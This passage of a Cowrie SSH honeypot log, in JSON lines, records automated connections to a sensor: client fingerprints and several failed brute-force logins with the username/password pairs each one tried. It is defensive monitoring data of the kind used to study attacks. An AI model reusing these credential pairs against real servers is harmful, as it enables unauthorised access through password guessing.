{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:14.659086Z","src_ip":"119.28.9.170","session":"5f95d9992270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:14.864959Z","src_ip":"119.28.9.170","session":"5f95d9992270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"987654321","message":"login attempt [ubuntu/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:15.719554Z","src_ip":"119.28.9.170","session":"5f95d9992270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:16.928846Z","src_ip":"119.28.9.170","session":"5f95d9992270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":41092,"dst_ip":"159.203.135.109","dst_port":22,"session":"725a5bd598b2","protocol":"ssh","message":"New connection: 202.145.0.61:41092 (159.203.135.109:22) [session: 725a5bd598b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:17.213046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:17.217428Z","src_ip":"202.145.0.61","session":"725a5bd598b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:17.450253Z","src_ip":"202.145.0.61","session":"725a5bd598b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admins","password":"123456","message":"login attempt [admins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:18.416931Z","src_ip":"202.145.0.61","session":"725a5bd598b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:19.653491Z","src_ip":"202.145.0.61","session":"725a5bd598b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":45676,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb526346a5ee","protocol":"ssh","message":"New connection: 119.28.9.170:45676 (159.203.135.109:22) [session: cb526346a5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:04.020332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:04.024920Z","src_ip":"119.28.9.170","session":"cb526346a5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:04.238173Z","src_ip":"119.28.9.170","session":"cb526346a5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"joseph","message":"login attempt [admin/joseph] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:05.125098Z","src_ip":"119.28.9.170","session":"cb526346a5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:06.348930Z","src_ip":"119.28.9.170","session":"cb526346a5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":57818,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a56ff7e91d6","protocol":"ssh","message":"New connection: 202.145.0.61:57818 (159.203.135.109:22) [session: 4a56ff7e91d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:11.029235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:11.033686Z","src_ip":"202.145.0.61","session":"4a56ff7e91d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:11.265478Z","src_ip":"202.145.0.61","session":"4a56ff7e91d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:12.068669Z","src_ip":"190.95.224.198","session":"345618b7ac72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@321","message":"login attempt [hadoop/hadoop@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:12.225357Z","src_ip":"202.145.0.61","session":"4a56ff7e91d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:13.461232Z","src_ip":"202.145.0.61","session":"4a56ff7e91d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":33614,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dba01cb672d","protocol":"ssh","message":"New connection: 119.28.9.170:33614 (159.203.135.109:22) [session: 6dba01cb672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:53.686816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:53.691982Z","src_ip":"119.28.9.170","session":"6dba01cb672d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:53.906368Z","src_ip":"119.28.9.170","session":"6dba01cb672d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1z2x3c4","message":"login attempt [ubuntu/1z2x3c4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:54.790058Z","src_ip":"119.28.9.170","session":"6dba01cb672d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:12:56.007374Z","src_ip":"119.28.9.170","session":"6dba01cb672d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":46314,"dst_ip":"159.203.135.109","dst_port":22,"session":"69899d17ccde","protocol":"ssh","message":"New connection: 202.145.0.61:46314 (159.203.135.109:22) [session: 69899d17ccde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:08.202438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:08.207870Z","src_ip":"202.145.0.61","session":"69899d17ccde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:08.442493Z","src_ip":"202.145.0.61","session":"69899d17ccde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdf123456","message":"login attempt [postgres/asdf123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:09.401490Z","src_ip":"202.145.0.61","session":"69899d17ccde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:10.636454Z","src_ip":"202.145.0.61","session":"69899d17ccde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57954,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ca3d20265a","protocol":"ssh","message":"New connection: 194.59.206.2:57954 (10.17.0.5:22) [session: 72ca3d20265a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:23.289031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:23.293533Z","src_ip":"194.59.206.2","session":"72ca3d20265a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:23.379046Z","src_ip":"194.59.206.2","session":"72ca3d20265a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:23.475613Z","src_ip":"194.59.206.2","session":"72ca3d20265a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":49784,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac81f822bce","protocol":"ssh","message":"New connection: 119.28.9.170:49784 (159.203.135.109:22) [session: 2ac81f822bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:44.405325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:44.411686Z","src_ip":"119.28.9.170","session":"2ac81f822bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:44.621099Z","src_ip":"119.28.9.170","session":"2ac81f822bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user54321","message":"login attempt [user/user54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:45.490680Z","src_ip":"119.28.9.170","session":"2ac81f822bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:13:46.703364Z","src_ip":"119.28.9.170","session":"2ac81f822bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":34810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5d5cb40ccd","protocol":"ssh","message":"New connection: 202.145.0.61:34810 (159.203.135.109:22) [session: 2c5d5cb40ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:02.759445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:02.764684Z","src_ip":"202.145.0.61","session":"2c5d5cb40ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp25